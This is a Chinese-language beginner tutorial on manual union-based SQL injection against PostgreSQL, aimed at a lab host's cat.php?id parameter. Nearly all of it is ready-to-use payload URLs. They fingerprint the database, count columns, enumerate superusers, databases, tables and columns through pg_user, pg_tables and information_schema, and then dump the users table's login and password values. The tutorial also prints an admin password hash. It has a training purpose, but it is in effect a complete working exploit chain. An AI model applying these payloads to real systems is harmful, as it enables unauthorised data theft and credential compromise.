Sql注入入门 之 Postgresql常规注入 [ Union方式 ]
1,用于演示的 postgresql 常规注入点,如下:1
http://192.168.3.51/cat.php?id=1
2,依然是一个神奇的单引号,pgsql返回报错,这里可能需要您稍微注意下pgsql的报错信息,pg_前缀一般指的都是postgresql数据库,而像ora前缀一般指的都是oracle数据库,mysql一般都是mysql的前缀,稍微注意下就行1
http://192.168.3.51/cat.php?id=1'
3,典型的常规数字型注入1
http://192.168.3.51/cat.php?id=1 and 1=1 条件为真时,页面返回正常
1 | http://192.168.3.51/cat.php?id=1 and 1=112 条件为假时,页面返回异常 |
4,查询当前表的字段个数1
http://192.168.3.51/cat.php?id=1 order by 4 字段个数为4时返回正常
1 | http://192.168.3.51/cat.php?id=1 order by 5 字段个数为5时返回错误,可知当前表的字段个数为4个 |
5,因为postgresql不支持像mysql或者access那样直接用数字来表示,所以这里只能用null来表示,null可以兼容任意数据类型嘛,sqlmap默认都是用null进行探测1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,null,null,null --
6,在得知确切的字段个数后,紧接着就该爆出数据显示位了,这里依然不像数字那么直接,我们需要逐个字段尝试可以正常显示数据的字段位,因为union要求前后的数据字段类型和个数都要完全一致才可以,利用这一特性,我们可以知道某个字段是什么数据类型,可以看到第二个字段是字符型的,也就是说我们等会儿可以把查出来的数据都显示在这个字段上1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,'s',null,null --
7,搜集数据库的各种信息
获取当前数据库版本1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,version(),null,null --
获取当前数据库用户名1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,current_user,null,null --
获取当前当前数据库名1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,current_database(),null,null--
8,获取当前数据库中所有具有dba(数据库管理员)权限的用户,同样是利用limit即可依次遍历出所有具有dba权限的用户名,只不过这里的limit和mysql中的limit有点儿不大一样,中间并不是用逗号而是直接用了个offset关键字,来设置偏移量1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,usename,null,null FROM pg_user WHERE usesuper IS TRUE limit 1 offset 0--
9,获取所有的数据库名(有权限看到的所有数据库名),同样是利用limit即可依次遍历出所有数据库名,实际注入中,用burupsuite跑下即可
如下,获取第一个数据库名1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,datname,null,null from pg_database limit 1 offset 0 --
如下,获取第二个数据库名1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,datname,null,null from pg_database limit 1 offset 1 --
10,获取当前库中所有的表名
获取第一张表名1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,tablename,null,null from pg_tables where schemaname='public' limit 1 offset 0 --
获取第二张表名,看到’users’ 正是我们想要的管理表1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,tablename,null,null from pg_tables where schemaname='public' limit 1 offset 1 --
11,获取users表中的所有字段名
获取users表中的第二个字段名,其结果为’password’1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,column_name,null,null from information_schema.columns where table_name='users' limit 1 offset 1 --
获取user表中的第三个字段名,其结果为’login’1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,column_name,null,null from information_schema.columns where table_name='users' limit 1 offset 2 --
12,获取对应账号密码字段的数据即可1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,login||'::'||password,null,null from public.users--
最终,获取到的数据如下1
admin::8efe310f9ab3efeae8d410a8e0166eb2
一点小结:
关于pgsql的常规手注大概就这些了,跟mysql还有mssql的注入都非常接近,比较简单,就不多说了,大家多练习,多实战,然后不断解决实际中遇到的各种各样的问题,长此以往快就能慢慢积累自己的实战经验了,进步自然就稳健多了……